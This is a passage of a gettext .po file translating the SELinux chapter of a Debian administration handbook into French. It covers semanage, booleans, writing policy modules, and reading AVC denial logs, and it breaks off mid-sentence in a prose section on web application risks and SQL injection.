s0-s0:c0.c1023 sysadm_r\n" "system_u user s0 s0-s0:c0.c1023 system_r\n" "test_u staff s0 s0 staff_r user_r\n" "unconfined_u unconfined s0 s0-s0:c0.c1023 system_r unconfined_r\n" "user_u user s0 s0 user_r\n" "# semanage user -d test_u\n" "" msgstr "" "# semanage user -a -R 'staff_r user_r' -P staff test_u\n" "# semanage user -l\n" "\n" " Labeling MLS/ MLS/ \n" "SELinux User Prefix MCS Level MCS Range SELinux Roles\n" "\n" "root sysadm SystemLow SystemLow-SystemHigh staff_r sysadm_r system_r\n" "staff_u staff SystemLow SystemLow-SystemHigh staff_r sysadm_r\n" "sysadm_u sysadm SystemLow SystemLow-SystemHigh sysadm_r\n" "system_u user SystemLow SystemLow-SystemHigh system_r\n" "test_u staff SystemLow SystemLow staff_r user_r\n" "unconfined_u unconfined SystemLow SystemLow-SystemHigh system_r unconfined_r\n" "user_u user SystemLow SystemLow user_r\n" "# semanage user -d test_u" msgid "Managing File Contexts, Ports and Booleans" msgstr "Gestion des contextes de fichiers, des ports et des booléens" #, fuzzy #| msgid "snort" msgid "restorecon" msgstr "snort" msgid "Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the /srv/www/ file hierarchy, you could execute semanage fcontext -a -t httpd_sys_content_t \"/srv/www(/.*)?\" followed by restorecon -R /srv/www/. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules." msgstr "Chaque module SELinux fournit un ensemble de règles d'étiquetage des fichiers, mais il est également possible de rajouter des règles d'étiquetage spécifiques afin de les adapter à un cas particulier. Ainsi, pour rendre toute l'arborescence /srv/www/ accessible au serveur web, on pourrait exécuter semanage fcontext -a -t httpd_sys_content_t \"/srv/www(/.*)?\", puis restorecon -R /srv/www/. La première commande enregistre la nouvelle règle d'étiquetage et la seconde restaure les bonnes étiquettes en fonction des règles enregistrées." msgid "Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run semanage port -m -t http_port_t -p tcp 8080." msgstr "D'une manière similaire, les ports TCP/UDP sont étiquetés afin que seuls les démons correspondants puissent y écouter. Ainsi, si l'on veut que le serveur web puisse également écouter sur le port 8 080, il faut exécuter la commande semanage port -m -t http_port_t -p tcp 8080." #, fuzzy #| msgid "top" msgid "getsebool" msgstr "top" #, fuzzy #| msgid "top" msgid "setsebool" msgstr "top" #, fuzzy #| msgid "Some SELinux modules export boolean options that you can tweak to alter the behavior of the default rules. The getsebool utility can be used to inspect those options (getsebool boolean displays one option, and getsebool -a them all). The setsebool boolean value command changes the current value of a boolean option. The -P option makes the change permanent, it means that the new value becomes the default and will be kept across reboots. The example below grants web servers an access to home directories (this is useful when users have personal websites in ~/public_html/)." msgid "Some SELinux modules export Boolean options that you can tweak to alter the behavior of the default rules. The getsebool utility can be used to inspect those options (getsebool boolean displays one option, and getsebool -a them all). The setsebool boolean value command changes the current value of a Boolean option. The -P option makes the change permanent, it means that the new value becomes the default and will be kept across reboots. The example below grants web servers an access to home directories (this is useful when users have personal websites in ~/public_html/)." msgstr "Les modules SELinux exportent parfois des options booléennes qui influencent le comportement des règles. L'utilitaire getsebool permet de consulter l'état de ces options (getsebool booléen affiche une option et getsebool -a les affiche toutes). La commande setsebool booléen valeur change la valeur courante d'une option. L'option -P rend le changement permanent, autrement dit la nouvelle valeur sera celle par défaut et sera conservée au prochain redémarrage. L'exemple ci-dessous permet au serveur web d'accéder aux répertoires personnels des utilisateurs (utile dans le cas où ils ont des sites web personnels dans ~/public_html/ par exemple)." #, fuzzy #| msgid "" #| "# getsebool httpd_enable_homedirs\n" #| "httpd_enable_homedirs --> off\n" #| "# setsebool -P httpd_enable_homedirs on\n" #| "# getsebool httpd_enable_homedirs \n" #| "httpd_enable_homedirs --> on" msgid "" "# getsebool httpd_enable_homedirs\n" "httpd_enable_homedirs --> off\n" "# setsebool -P httpd_enable_homedirs on\n" "# getsebool httpd_enable_homedirs\n" "httpd_enable_homedirs --> on" msgstr "" "# getsebool httpd_enable_homedirs\n" "httpd_enable_homedirs --> off\n" "# setsebool -P httpd_enable_homedirs on\n" "# getsebool httpd_enable_homedirs \n" "httpd_enable_homedirs --> on" msgid "Adapting the Rules" msgstr "L'adaptation des règles" msgid "Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the reference policy." msgstr "Puisque l'ensemble des règles (que l'on nomme policy) est modulaire, il peut être intéressant de développer de nouveaux modules pour les applications (éventuellement spécifiques) qui n'en disposent pas encore, ces nouveaux modules venant alors compléter la reference policy." msgid "To create new modules, the selinux-policy-dev package is required, as well as selinux-policy-doc. The latter contains the documentation of the standard rules (/usr/share/doc/selinux-policy-doc/html/) and sample files that can be used as templates to create new modules. Install those files and study them more closely:" msgstr "Le paquet selinux-policy-dev sera nécessaire, ainsi que selinux-policy-doc. Ce dernier contient la documentation des règles standards (/usr/share/doc/selinux-policy-doc/html/) et des fichiers exemples permettant de créer de nouveaux modules. Installons ces fichiers pour les étudier de plus près :" #, fuzzy #| msgid "" #| "$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile\n" #| "$ cp /usr/share/doc/selinux-policy-doc/example.fc ./\n" #| "$ cp /usr/share/doc/selinux-policy-doc/example.if ./\n" #| "$ cp /usr/share/doc/selinux-policy-doc/example.te ./" msgid "" "$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile\n" "$ cp /usr/share/doc/selinux-policy-doc/example.fc ./\n" "$ cp /usr/share/doc/selinux-policy-doc/example.if ./\n" "$ cp /usr/share/doc/selinux-policy-doc/example.te ./\n" "" msgstr "" "$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile\n" "$ cp /usr/share/doc/selinux-policy-doc/example.fc ./\n" "$ cp /usr/share/doc/selinux-policy-doc/example.if ./\n" "$ cp /usr/share/doc/selinux-policy-doc/example.te ./" #, fuzzy #| msgid "packet filter" msgid ".te" msgstr "filtre de paquets" # TODO: INTEGRATE ALTERNATE STRING: firewall pare-feu #, fuzzy #| msgid "firewall" msgid ".fc" msgstr "pare-feu" # TODO: INTEGRATE ALTERNATE STRING: firewall pare-feu #, fuzzy #| msgid "firewall" msgid ".if" msgstr "pare-feu" msgid "The .te file is the most important one. It defines the rules. The .fc file defines the “file contexts”, that is the types assigned to files related to this module. The data within the .fc file are used during the file labeling step. Finally, the .if file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating." msgstr "Le fichier .te est le plus important : il définit les règles à proprement parler. Le fichier .fc définit les « contextes des fichiers », autrement dit les types affectés aux fichiers relatifs à ce module. Les informations du .fc sont utilisées lors de l'étiquetage des fichiers sur le disque. Enfin, le fichier .if définit l'interface du module ; il s'agit d'un ensemble de « fonctions publiques » qui permettent à d'autres modules de s'interfacer proprement avec celui en cours de création." msgid "Writing a .fc file" msgstr "Rédiger un fichier .fc" msgid "Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree." msgstr "La lecture de l'exemple qui suit suffit à comprendre la structure d'un tel fichier. Il est possible d'employer une expression rationnelle pour affecter le même contexte à plusieurs fichiers, voire à toute une arborescence." msgid "example.fc file" msgstr "Fichier example.fc" #, fuzzy #| msgid "" #| "# myapp executable will have:\n" #| "# label: system_u:object_r:myapp_exec_t\n" #| "# MLS sensitivity: s0\n" #| "# MCS categories: <none>\n" #| "\n" #| "/usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)" msgid "" "\n" "\n" "/usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)\n" "]]>" msgstr "" "# myapp executable will have:\n" "# label: system_u:object_r:myapp_exec_t\n" "# MLS sensitivity: s0\n" "# MCS categories: <none>\n" "\n" "/usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)" msgid "Writing a .if File" msgstr "Rédiger un fichier .if" msgid "In the sample below, the first interface (“myapp_domtrans”) controls who can execute the application. The second one (“myapp_read_log”) grants read rights on the application's log files." msgstr "Dans l'exemple suivant, la première interface (myapp_domtrans) sert à contrôler qui a le droit d'exécuter l'application et la seconde (myapp_read_log) fournit un droit de lecture sur les fichiers de logs de l'application." msgid "Each interface must generate a valid set of rules which can be embedded in a .te file. You should thus declare all the types that you use (with the gen_require macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights." msgstr "Chaque interface doit générer un ensemble correct de règles comme s'il était directement placé dans un fichier .te. Il faut donc déclarer tous les types employés (avec la macro gen_require) et employer les directives standards pour attribuer des droits. Notons toutefois qu'il est possible d'employer des interfaces fournies par d'autres modules. La prochaine section en dévoilera plus sur la manière d'exprimer ces droits." msgid "example.if File" msgstr "Fichier example.if" #, fuzzy #| msgid "" #| "## <summary>Myapp example policy</summary>\n" #| "## <desc>\n" #| "## <p>\n" #| "## More descriptive text about myapp. The <desc>\n" #| "## tag can also use <p>, <ul>, and <ol>\n" #| "## html tags for formatting.\n" #| "## </p>\n" #| "## <p>\n" #| "## This policy supports the following myapp features:\n" #| "## <ul>\n" #| "## <li>Feature A</li>\n" #| "## <li>Feature B</li>\n" #| "## <li>Feature C</li>\n" #| "## </ul>\n" #| "## </p>\n" #| "## </desc>\n" #| "#\n" #| "\n" #| "########################################\n" #| "## <summary>\n" #| "## Execute a domain transition to run myapp.\n" #| "## </summary>\n" #| "## <param name=\"domain\">\n" #| "## Domain allowed to transition.\n" #| "## </param>\n" #| "#\n" #| "interface(`myapp_domtrans',`\n" #| " gen_require(`\n" #| " type myapp_t, myapp_exec_t;\n" #| " ')\n" #| "\n" #| " domtrans_pattern($1,myapp_exec_t,myapp_t)\n" #| "')\n" #| "\n" #| "########################################\n" #| "## <summary>\n" #| "## Read myapp log files.\n" #| "## </summary>\n" #| "## <param name=\"domain\">\n" #| "## Domain allowed to read the log files.\n" #| "## </param>\n" #| "#\n" #| "interface(`myapp_read_log',`\n" #| " gen_require(`\n" #| " type myapp_log_t;\n" #| " ')\n" #| "\n" #| " logging_search_logs($1)\n" #| " allow $1 myapp_log_t:file r_file_perms;\n" #| "')" msgid "" "Myapp example policy\n" "## \n" "##

\n" "## More descriptive text about myapp. The desc\n" "## tag can also use p, ul, and ol\n" "## html tags for formatting.\n" "##

\n" "##

\n" "## This policy supports the following myapp features:\n" "##

    \n" "##
  • Feature A
  • \n" "##
  • Feature B
  • \n" "##
  • Feature C
  • \n" "##
\n" "##

\n" "##
\n" "#\n" "\n" "########################################\n" "## \n" "## Execute a domain transition to run myapp.\n" "## \n" "## \n" "## \n" "## Domain allowed to transition.\n" "## \n" "## \n" "#\n" "interface(`myapp_domtrans',`\n" " gen_require(`\n" " type myapp_t, myapp_exec_t;\n" " ')\n" "\n" " domtrans_pattern($1,myapp_exec_t,myapp_t)\n" "')\n" "\n" "########################################\n" "## \n" "## Read myapp log files.\n" "## \n" "## \n" "## \n" "## Domain allowed to read the log files.\n" "## \n" "## \n" "#\n" "interface(`myapp_read_log',`\n" " gen_require(`\n" " type myapp_log_t;\n" " ')\n" "\n" " logging_search_logs($1)\n" " allow $1 myapp_log_t:file read_file_perms;\n" "')\n" "]]>" msgstr "" "## <summary>Myapp example policy</summary>\n" "## <desc>\n" "## <p>\n" "## More descriptive text about myapp. The <desc>\n" "## tag can also use <p>, <ul>, and <ol>\n" "## html tags for formatting.\n" "## </p>\n" "## <p>\n" "## This policy supports the following myapp features:\n" "## <ul>\n" "## <li>Feature A</li>\n" "## <li>Feature B</li>\n" "## <li>Feature C</li>\n" "## </ul>\n" "## </p>\n" "## </desc>\n" "#\n" "\n" "########################################\n" "## <summary>\n" "## Execute a domain transition to run myapp.\n" "## </summary>\n" "## <param name=\"domain\">\n" "## Domain allowed to transition.\n" "## </param>\n" "#\n" "interface(`myapp_domtrans',`\n" " gen_require(`\n" " type myapp_t, myapp_exec_t;\n" " ')\n" "\n" " domtrans_pattern($1,myapp_exec_t,myapp_t)\n" "')\n" "\n" "########################################\n" "## <summary>\n" "## Read myapp log files.\n" "## </summary>\n" "## <param name=\"domain\">\n" "## Domain allowed to read the log files.\n" "## </param>\n" "#\n" "interface(`myapp_read_log',`\n" " gen_require(`\n" " type myapp_log_t;\n" " ')\n" "\n" " logging_search_logs($1)\n" " allow $1 myapp_log_t:file r_file_perms;\n" "')" msgid "DOCUMENTATION Explanations about the reference policy" msgstr "DOCUMENTATION Explications sur la reference policy" #, fuzzy #| msgid "The reference policy evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones. " msgid "The reference policy evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones. " msgstr "La reference policy évolue comme un projet libre au gré des contributions. Le projet est hébergé sur le site de Tresys, une des sociétés les plus actives autour de SELinux. Leur wiki contient des explications sur la structure des règles et sur la manière d'en créer de nouvelles. " msgid "Writing a .te File" msgstr "Rédiger un fichier .te" msgid "Have a look at the example.te file:" msgstr "Analysons le contenu du fichier example.te :" msgid "GOING FURTHER The m4 macro language" msgstr "POUR ALLER PLUS LOIN Langage de macro m4" #, fuzzy #| msgid "mrtg" msgid "m4" msgstr "mrtg" msgid "To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar allow directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy." msgstr "Pour structurer proprement l'ensemble des règles, les développeurs de SELinux se sont appuyés sur un langage de création de macro-commandes. Au lieu de répéter à l'infini des directives allow très similaires, la création de fonctions « macro » permet d'utiliser une logique de plus haut niveau et donc de rendre l'ensemble de règles plus lisible." msgid "In practice, m4 is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of allow directives." msgstr "Dans la pratique, la compilation des règles va faire appel à l'outil m4 pour effectuer l'opération inverse : à partir des directives de haut niveau, il va reconstituer une grande base de données de directives allow." msgid "The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time." msgstr "Ainsi, les « interfaces » ne sont rien que des fonctions macro qui vont être remplacées par un ensemble de règles au moment de la compilation. De même, certaines permissions sont en réalité des ensembles de permissions qui sont remplacées par leur valeur au moment de la compilation." #, fuzzy #| msgid "" #| "policy_module(myapp,1.0.0) \n" #| "\n" #| "########################################\n" #| "#\n" #| "# Declarations\n" #| "#\n" #| "\n" #| "type myapp_t; \n" #| "type myapp_exec_t;\n" #| "domain_type(myapp_t)\n" #| "domain_entry_file(myapp_t, myapp_exec_t) \n" #| "\n" #| "type myapp_log_t;\n" #| "logging_log_file(myapp_log_t) \n" #| "\n" #| "type myapp_tmp_t;\n" #| "files_tmp_file(myapp_tmp_t)\n" #| "\n" #| "########################################\n" #| "#\n" #| "# Myapp local policy\n" #| "#\n" #| "\n" #| "allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; \n" #| "\n" #| "allow myapp_t myapp_tmp_t:file manage_file_perms;\n" #| "files_tmp_filetrans(myapp_t,myapp_tmp_t,file)" msgid "" "policy_module(example,1.0.0) # a non-base module name must match the file name\n" "\n" "########################################\n" "#\n" "# Declarations\n" "#\n" "\n" "type myapp_t; \n" "type myapp_exec_t;\n" "domain_type(myapp_t)\n" "domain_entry_file(myapp_t, myapp_exec_t) \n" "\n" "type myapp_log_t;\n" "logging_log_file(myapp_log_t) \n" "\n" "type myapp_tmp_t;\n" "files_tmp_file(myapp_tmp_t)\n" "\n" "########################################\n" "#\n" "# Myapp local policy\n" "#\n" "\n" "allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; \n" "\n" "allow myapp_t myapp_tmp_t:file manage_file_perms;\n" "files_tmp_filetrans(myapp_t,myapp_tmp_t,file)" msgstr "" "policy_module(myapp,1.0.0) \n" "\n" "########################################\n" "#\n" "# Declarations\n" "#\n" "\n" "type myapp_t; \n" "type myapp_exec_t;\n" "domain_type(myapp_t)\n" "domain_entry_file(myapp_t, myapp_exec_t) \n" "\n" "type myapp_log_t;\n" "logging_log_file(myapp_log_t) \n" "\n" "type myapp_tmp_t;\n" "files_tmp_file(myapp_tmp_t)\n" "\n" "########################################\n" "#\n" "# Myapp local policy\n" "#\n" "\n" "allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; \n" "\n" "allow myapp_t myapp_tmp_t:file manage_file_perms;\n" "files_tmp_filetrans(myapp_t,myapp_tmp_t,file)" msgid "The module must be identified by its name and version number. This directive is required." msgstr "Le module doit être identifié par son nom et par son numéro de version. Cette directive est requise." msgid "If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights." msgstr "Si le module introduit de nouveaux types, il doit les déclarer avec des directives comme celle-ci. Il ne faut pas hésiter à créer autant de types que nécessaires, plutôt que distribuer trop de droits inutiles." msgid "Those interfaces define the myapp_t type as a process domain that should be used by any executable labeled with myapp_exec_t. Implicitly, this adds an exec_type attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the userdomain module allows processes with domains user_t, staff_t, and sysadm_t to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of dpkg with its dpkg_t domain)." msgstr "Ces interfaces précisent que le type myapp_t est prévu pour être un domaine de processus et qu'il doit être employé pour tout exécutable étiqueté par myapp_exec_t. Implicitement, cela ajoute un attribut exec_type sur ces objets. Sa présence permet à d'autres modules de donner le droit d'exécuter ces programmes : ainsi, le module userdomain va permettre aux processus de domaine user_t, staff_t et sysadm_t de les exécuter. Les domaines d'autres applications confinées n'auront pas le droit de l'exécuter, sauf si les règles prévoient des droits similaires (c'est le cas par exemple pour dpkg avec le domaine dpkg_t)." #, fuzzy #| msgid "logging_log_file is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example granting rights to logrotate so that it can manipulate them)." msgid "logging_log_file is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example, granting rights to logrotate so that it can manipulate them)." msgstr "logging_log_file est une interface fournie par la reference policy qui sert à indiquer que les fichiers étiquetés avec le type précisé en paramètre sont des fichiers de logs et doivent bénéficier des droits associés (par exemple ceux permettant à logrotate de les manipuler)." msgid "The allow directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “type:class“ where type is its SELinux type and class describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations)." msgstr "La directive allow est la directive de base qui permet d'autoriser une opération. Le premier paramètre est le domaine du processus qui sera autorisé à effectuer l'opération. Le second décrit l'objet qu'un processus du domaine aura le droit de manipuler. Ce paramètre prend la forme « type:genre » où type est son type SELinux et où genre décrit la nature de l'objet (fichier, répertoire, socket, fifo, etc.). Enfin, le dernier paramètre décrit les permissions (les opérations qui sont autorisées)." msgid "Permissions are defined as the set of allowed operations and follow this template: { operation1 operation2 }. However, you can also use macros representing the most useful permissions. The /usr/share/selinux/devel/include/support/obj_perm_sets.spt lists them." msgstr "Les permissions se définissent comme des ensembles d'opérations autorisées et prennent la forme { operation1 operation2 }. Il est également possible d'employer des macros qui correspondent aux ensembles de permissions les plus utiles. Le fichier /usr/share/selinux/devel/include/support/obj_perm_sets.spt permet de les découvrir." #, fuzzy #| msgid "The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted. " msgid "The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted. " msgstr "La page web suivante fournit une liste relativement exhaustive des genres d'objet (object classes) et des permissions que l'on peut accorder : " msgid "Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates." msgstr "Il ne reste plus qu'à trouver l'ensemble minimal des règles nécessaires au bon fonctionnement du service ou de l'application ciblé(e) par le module. Pour cela, il est préférable de bien connaître le fonctionnement de l'application et d'avoir une idée claire des flux de données qu'elle gère et/ou génère." msgid "However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:" msgstr "Toutefois, une approche empirique est possible. Une fois les différents objets impliqués correctement étiquetés, on peut utiliser l'application en mode permissif : les opérations normalement interdites sont tracées mais réussissent tout de même. Il suffit alors d'analyser ces traces pour identifier les opérations qu'il faut autoriser. Voici à quoi peut ressembler une de ces traces :" msgid "avc: denied { read write } for pid=1876 comm=\"syslogd\" name=\"xconsole\" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1" msgstr "avc: denied { read write } for pid=1876 comm=\"syslogd\" name=\"xconsole\" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1" msgid "To better understand this message, let us study it piece by piece." msgstr "Pour mieux comprendre ce message, analysons-le bout par bout." msgid "Analysis of an SELinux trace" msgstr "Analyse d'une trace SELinux" msgid "Message" msgstr "Message" msgid "Description" msgstr "Description" msgid "avc: denied" msgstr "avc: denied" msgid "An operation has been denied." msgstr "Une opération a été refusée." msgid "{ read write }" msgstr "{ read write }" msgid "This operation required the read and write permissions." msgstr "Cette opération requérait les permissions read et write." msgid "pid=1876" msgstr "pid=1876" msgid "The process with PID 1876 executed the operation (or tried to execute it)." msgstr "Le processus ayant le PID 1876 a exécuté l'opération (ou essayé de l'exécuter)." msgid "comm=\"syslogd\"" msgstr "comm=\"syslogd\"" msgid "The process was an instance of the syslogd program." msgstr "Le processus était une instance de la commande syslogd." msgid "name=\"xconsole\"" msgstr "name=\"xconsole\"" msgid "The target object was named xconsole. Sometimes you can also have a “path” variable — with the full path — instead." msgstr "L'objet visé s'appelait xconsole. Dans certains cas on peut aussi avoir une variable « path », avec un chemin d'accès complet." msgid "dev=tmpfs" msgstr "dev=tmpfs" #, fuzzy #| msgid "The device hosting the target object is a tmpfs (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example: “sda3”)." msgid "The device hosting the target object is a tmpfs (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example, “sda3”)." msgstr "Le périphérique stockant l'objet est de type tmpfs. Pour un disque réel, nous pourrions voir la partition contenant l'objet (exemple : « sda3 »)." msgid "ino=5510" msgstr "ino=5510" msgid "The object is identified by the inode number 5510." msgstr "L'objet est identifié par le numéro d'inode 5510." msgid "scontext=system_u:system_r:syslogd_t:s0" msgstr "scontext=system_u:system_r:syslogd_t:s0" msgid "This is the security context of the process who executed the operation." msgstr "C'est le contexte de sécurité courant du processus qui a exécuté l'opération." msgid "tcontext=system_u:object_r:device_t:s0" msgstr "tcontext=system_u:object_r:device_t:s0" msgid "This is the security context of the target object." msgstr "C'est le contexte de sécurité de l'objet cible." msgid "tclass=fifo_file" msgstr "tclass=fifo_file" msgid "The target object is a FIFO file." msgstr "L'objet cible est un fichier FIFO." #, fuzzy #| msgid "top" msgid "audit2allow" msgstr "top" #, fuzzy #| msgid "checksecurity" msgid "policycoreutils" msgstr "checksecurity" #, fuzzy #| msgid "By observing this log entry, it is possible to build a rule that would allow this operation. For example: allow syslogd_t device_t:fifo_file { read write }. This process can be automated, and it's exactly what the audit2allow command (of the policycoreutils package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “dontaudit” rule to avoid the log entry despite the effective denial." msgid "By observing this log entry, it is possible to build a rule that would allow this operation. For example, allow syslogd_t device_t:fifo_file { read write }. This process can be automated, and it is exactly what the audit2allow command (of the policycoreutils package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “dontaudit” rule to avoid the log entry despite the effective denial." msgstr "Ainsi, il est possible de fabriquer une règle qui va autoriser cette opération, cela donnerait par exemple allow syslogd_t device_t:fifo_file { read write }. Ce processus est automatisable et c'est ce que propose la commande audit2allow du paquet policycoreutils. Une telle démarche ne sera utile que si les objets impliqués sont déjà correctement étiquetés selon ce qu'il est souhaitable de cloisonner. Dans tous les cas, il faudra relire attentivement les règles pour les vérifier et les valider par rapport à votre connaissance de l'application. En effet, bien souvent cette démarche donnera des permissions plus larges que nécessaires. La bonne solution est souvent de créer de nouveaux types et d'attribuer des permissions sur ces types uniquement. Il arrive également qu'un échec sur une opération ne soit pas fatal à l'application, auquel cas il peut être préférable d'ajouter une règle dontaudit qui supprime la génération de la trace malgré le refus effectif." msgid "COMPLEMENTS No roles in policy rules" msgstr "COMPLÉMENTS Pas de rôle dans les règles" msgid "Type Enforcement" msgstr "type, application de types" msgid "Enforcement, Type Enforcement" msgstr "application de types" msgid "It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as Type Enforcement and the type is the only element that matters when granting rights." msgstr "On peut s'étonner que les rôles n'interviennent à aucun moment dans la création des règles. SELinux emploie uniquement les domaines pour savoir quelles opérations sont permises. Le rôle n'intervient qu'indirectement en permettant à l'utilisateur d'accéder à un autre domaine. SELinux en tant que tel est basé sur une théorie connue sous le nom de Type Enforcement (Application de types) et le type (ou domaine) est le seul élément qui compte dans l'attribution des droits." msgid "Compiling the Files" msgstr "Compilation des fichiers" #, fuzzy #| msgid "Once the 3 files (example.if, example.fc, and example.te) match your expectations for the new rules, just run make NAME=devel to generate a module in the example.pp file (you can immediately load it with semodule -i example.pp). If several modules are defined, make will create all the corresponding .pp files." msgid "Once the 3 files (example.if, example.fc, and example.te) match your expectations for the new rules, rename them to myapp.extension and run make NAME=devel to generate a module in the myapp.pp file (you can immediately load it with semodule -i myapp.pp). If several modules are defined, make will create all the corresponding .pp files." msgstr "Une fois que les trois fichiers (example.if, example.fc et example.te) sont conformes aux règles que l'on veut créer, il suffit d'invoquer make NAME=devel pour générer un module dans le fichier example.pp (que l'on peut immédiatement charger avec semodule -i example.pp). Si plusieurs modules sont définis, make créera tous les fichiers .pp correspondants." msgid "Other Security-Related Considerations" msgstr "Autres considérations sur la sécurité" msgid "Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack." msgstr "La sécurité n'est pas un simple problème de technique. C'est avant tout de bonnes habitudes et une bonne compréhension des risques. Cette section propose donc une revue de certains risques fréquents, ainsi qu'une série de bonnes pratiques, qui, selon le cas, amélioreront la sécurité ou réduiront l'impact d'une attaque fructueuse." msgid "Inherent Risks of Web Applications" msgstr "Risques inhérents aux applications web" msgid "The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (Linux, Apache, MySQL, PHP) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly." msgstr "L'universalité des applications web a entraîné leur multiplication et il est fréquent d'en avoir plusieurs en service : un webmail, un wiki, un groupware, des forums, une galerie de photos, un blog, etc. Un grand nombre de ces applications s'appuient sur les technologies LAMP (Linux Apache Mysql PHP). Malheureusement, beaucoup ont aussi été écrites sans faire trop attention aux problèmes de sécurité. Trop souvent, les données externes sont utilisées sans vérifications préalables et il est possible de subvertir l'appel d'une commande pour qu'il en résulte une autre, simplement en fournissant une valeur inattendue. Avec le temps, les problèmes les plus évidents ont été corrigés, mais de nouvelles failles de sécurité sont régulièrement découvertes." msgid "VOCABULARY SQL injection" msgstr "VOCABULAIRE Injection SQL" #, fuzzy #| msgid "When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible. " msgid "When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible. " msgstr "Lorsqu'un programme exécutant des requêtes SQL y insère des paramètres d'une manière non sécurisée, il peut être victime d'injections SQL. Il s'agit de modifier le paramètre de manière à ce que le programme exécute en réalité une version altérée de la requête SQL, soit pour endommager les données, soit pour récupérer des données auxquelles l'utilisateur ne devait pas avoir accès. " msgid "SQL injection" msgstr "Injection SQL" #, fuzzy #| msgid "Updating web applications regularly is therefore a must, lest any cracker (whether a professional attacker or a script kiddy) can exploit a known vulnerability. The actual risk depends on the case, and ranges from data destruction to arbitrary code execution, including web site defacement." msgid "Updating web applications regularly is therefore a must, lest any cracker (whether a professional attacker or a “script kiddy“) can exploit a known vulnerability. The actual risk depends on the case, and ranges from data destruction to arbitrary code execution, including web site defacement." msgstr "Il est donc indispensable de mettre à jour ses applications web régulièrement pour ne pas rester vulnérable au premier pirate (amateur ou pas) qui cherchera à exploiter cette faille connue. Selon le cas, le risque varie : cela va de la destruction des données à l'exécution de commandes arbitraires, en passant par le vandalisme du site web." msgid "Knowing What To Expect" msgstr "Savoir à quoi s'attendre" msgid "A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences." msgstr "Ainsi donc, la vulnérabilité d'une application web est un point de départ fréquent pour un acte de piraterie. Voyons quelles 